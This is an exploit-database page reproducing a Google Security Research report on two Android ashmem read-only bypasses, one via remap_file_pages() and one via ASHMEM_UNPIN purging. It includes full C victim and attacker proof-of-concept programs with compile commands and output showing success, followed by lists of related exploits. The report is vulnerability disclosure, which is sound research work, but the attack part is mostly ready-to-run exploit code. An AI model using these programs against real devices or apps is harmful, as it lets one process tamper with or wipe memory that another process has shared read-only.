Search for hundreds of thousands of exploits

"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

android

Release date

Exploit published date

2020-01-14

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
This bug report describes two ways in which an attacker can modify the contents
of a read-only ashmem fd. I'm not sure at this point what the most interesting
user of ashmem is in the current Android release, but there are various users,
including Chrome and a bunch of utility classes.
In AOSP master, there is even code in
<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>
that uses ashmem for some JIT zygote mapping, which sounds extremely
interesting.


Android's ashmem kernel driver has an ->mmap() handler that attempts to lock
down created VMAs based on a configured protection mask such that in particular
write access to the underlying shmem file can never be gained. It tries to do
this as follows (code taken from upstream Linux
drivers/staging/android/ashmem.c):

    static inline vm_flags_t calc_vm_may_flags(unsigned long prot)
    {
            return _calc_vm_trans(prot, PROT_READ,  VM_MAYREAD) |
                   _calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |
                   _calc_vm_trans(prot, PROT_EXEC,  VM_MAYEXEC);
    }
    [...]
    static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)
    {
            struct ashmem_area *asma = file->private_data;
    [...]
            /* requested protection bits must match our allowed protection mask */
            if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &
                calc_vm_prot_bits(PROT_MASK, 0)) {
                    ret = -EPERM;
                    goto out;
            }
            vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);
    [...]
            if (vma->vm_file)
                    fput(vma->vm_file);
            vma->vm_file = asma->file;
    [...]
            return ret;
    }

This ensures that the protection flags specified by the caller don't conflict
with the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent
the user from afterwards adding new protection flags via mprotect().

However, it improperly stores the backing shmem file, whose ->mmap() handler
does not enforce the same restrictions, in ->vm_file. An attacker can abuse this
through the remap_file_pages() syscall, which grabs the file pointer of an
existing VMA and calls its ->mmap() handler to create a new VMA. In effect,
calling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an
attacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write
access to the ashmem allocation's backing file via mprotect().


Reproducer (works both on Linux from upstream master in an X86 VM and on a
Pixel 2 at security patch level 2019-09-05 via adb):

====================================================================
user@vm:~/ashmem_remap$ cat ashmem_remap_victim.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

#define __ASHMEMIOC   0x77
#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)

int main(void) {
  int ashmem_fd = open("/dev/ashmem", O_RDWR);
  if (ashmem_fd == -1)
    err(1, "open ashmem");
  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))
    err(1, "ASHMEM_SET_SIZE");
  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap ashmem");
  if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))
    err(1, "ASHMEM_SET_SIZE");
  mapping[0] = 'A';
  printf("mapping[0] = '%c'\n", mapping[0]);

  if (dup2(ashmem_fd, 42) != 42)
    err(1, "dup2");
  pid_t child = fork();
  if (child == -1)
    err(1, "fork");
  if (child == 0) {
    execl("./ashmem_remap_attacker", "ashmem_remap_attacker", NULL);
    err(1, "execl");
  }
  int status;
  if (wait(&status) != child) err(1, "wait");
  printf("mapping[0] = '%c'\n", mapping[0]);
}user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
  int ashmem_fd = 42;

  /* sanity check */
  char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
  if (write_mapping == MAP_FAILED) {
    perror("mmap ashmem writable failed as expected");
  } else {
    errx(1, "trivial mmap ashmem writable worked???");
  }

  char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap ashmem readonly failed");

  if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)
    errx(1, "mprotect ashmem writable worked???");

  if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))
    err(1, "remap_file_pages");

  if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))
    err(1, "mprotect ashmem writable failed, attack didn't work");

  mapping[0] = 'X';

  puts("attacker exiting");
}user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c
user@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c
user@vm:~/ashmem_remap$ ./ashmem_remap_victim
mapping[0] = 'A'
mmap ashmem writable failed as expected: Operation not permitted
attacker exiting
mapping[0] = 'X'
user@vm:~/ashmem_remap$ 
====================================================================

Interestingly, the (very much deprecated) syscall remap_file_pages() isn't even
listed in bionic's SYSCALLS.txt, which would normally cause it to be blocked by
Android's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits
it for 32-bit ARM applications:

    # b/36435222
    int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags)  arm,x86,mips




ashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,
there is no access control for these - even if you only have read-only access to
an ashmem file, you can still mark pages in it as purgable, causing them to
effectively be zeroed out when the system is under memory pressure. Here's a
simple test for that (to be run in an X86 Linux VM):

====================================================================
user@vm:~/ashmem_purging$ cat ashmem_purge_victim.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

#define __ASHMEMIOC   0x77
#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)

int main(void) {
  int ashmem_fd = open("/dev/ashmem", O_RDWR);
  if (ashmem_fd == -1)
    err(1, "open ashmem");
  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))
    err(1, "ASHMEM_SET_SIZE");
  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap ashmem");
  if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))
    err(1, "ASHMEM_SET_SIZE");
  mapping[0] = 'A';
  printf("mapping[0] = '%c'\n", mapping[0]);

  if (dup2(ashmem_fd, 42) != 42)
    err(1, "dup2");
  pid_t child = fork();
  if (child == -1)
    err(1, "fork");
  if (child == 0) {
    execl("./ashmem_purge_attacker", "ashmem_purge_attacker", NULL);
    err(1, "execl");
  }
  int status;
  if (wait(&status) != child) err(1, "wait");
  printf("mapping[0] = '%c'\n", mapping[0]);
}
user@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

struct ashmem_pin {
  unsigned int offset, len;
};

#define __ASHMEMIOC   0x77
#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_UNPIN    _IOW(__ASHMEMIOC, 8, struct ashmem_pin)

int main(void) {
  struct ashmem_pin pin = { 0, 0 };
  if (ioctl(42, ASHMEM_UNPIN, &pin))
    err(1, "unpin 42");

  /* ensure that shrinker doesn't get skipped */
  int ashmem_fd = open("/dev/ashmem", O_RDWR);
  if (ashmem_fd == -1)
    err(1, "open ashmem");
  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))
    err(1, "ASHMEM_SET_SIZE");
  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap ashmem");
  if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))
    err(1, "unpin 42");

  /* simulate OOM */
  system("sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'");

  puts("attacker exiting");
}
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c
user@vm:~/ashmem_purging$ ./ashmem_purge_victim
mapping[0] = 'A'
attacker exiting
mapping[0] = ''
user@vm:~/ashmem_purging$ 
====================================================================
Release DateTitleTypePlatformAuthor
2020-07-02"WhatsApp Remote Code Execution - Paper"webappsandroid"ashu Jaiswal"
2020-02-24"Android Binder - Use-After-Free (Metasploit)"localandroidMetasploit
2020-01-14"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"dosandroid"Google Security Research"
2020-01-14"WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM"dosandroid"Google Security Research"
2019-11-08"Android Janus - APK Signature Bypass (Metasploit)"localandroidMetasploit
2019-10-16"Whatsapp 2.19.216 - Remote Code Execution"remoteandroid"Valerio Brussani"
2019-10-04"Android - Binder Driver Use-After-Free"localandroid"Google Security Research"
2019-08-30"Canon PRINT 2.5.5 - Information Disclosure"localandroid0x48piraj
2019-07-24"Android 7 < 9 - Remote Code Execution"remoteandroid"Marcin Kozlowski"
2019-07-15"Android 7 - 9 VideoPlayer - 'ihevcd_parse_pps' Out-of-Bounds Write"dosandroid"Marcin Kozlowski"
Release DateTitleTypePlatformAuthor
2020-02-10"usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init"doslinux"Google Security Research"
2020-02-10"iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()"dosmultiple"Google Security Research"
2020-01-28"macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image"dosmultiple"Google Security Research"
2020-01-14"WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM"dosandroid"Google Security Research"
2020-01-14"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"dosandroid"Google Security Research"
2019-12-18"macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()"dosmacos"Google Security Research"
2019-12-16"Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds"locallinux"Google Security Research"
2019-12-11"Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font"doswindows"Google Security Research"
2019-11-22"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache"localmacos"Google Security Research"
2019-11-22"Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback"doswindows"Google Security Research"
2019-11-20"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd"dosios"Google Security Research"
2019-11-20"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs"doslinux"Google Security Research"
2019-11-20"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path"doslinux"Google Security Research"
2019-11-11"iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address"dosmultiple"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)"doswindows"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream"doswindows"Google Security Research"
2019-11-05"WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive"dosmultiple"Google Security Research"
2019-11-05"JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects"dosmultiple"Google Security Research"
2019-11-05"macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()"dosmacos"Google Security Research"
2019-10-30"JavaScriptCore - GetterSetter Type Confusion During DFG Compilation"dosmultiple"Google Security Research"
2019-10-28"WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed"dosmultiple"Google Security Research"
2019-10-21"Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)"doswindows"Google Security Research"
2019-10-10"Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-09"XNU - Remote Double-Free via Data Race in IPComp Input Path"dosmacos"Google Security Research"
2019-10-04"Android - Binder Driver Use-After-Free"localandroid"Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47921/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.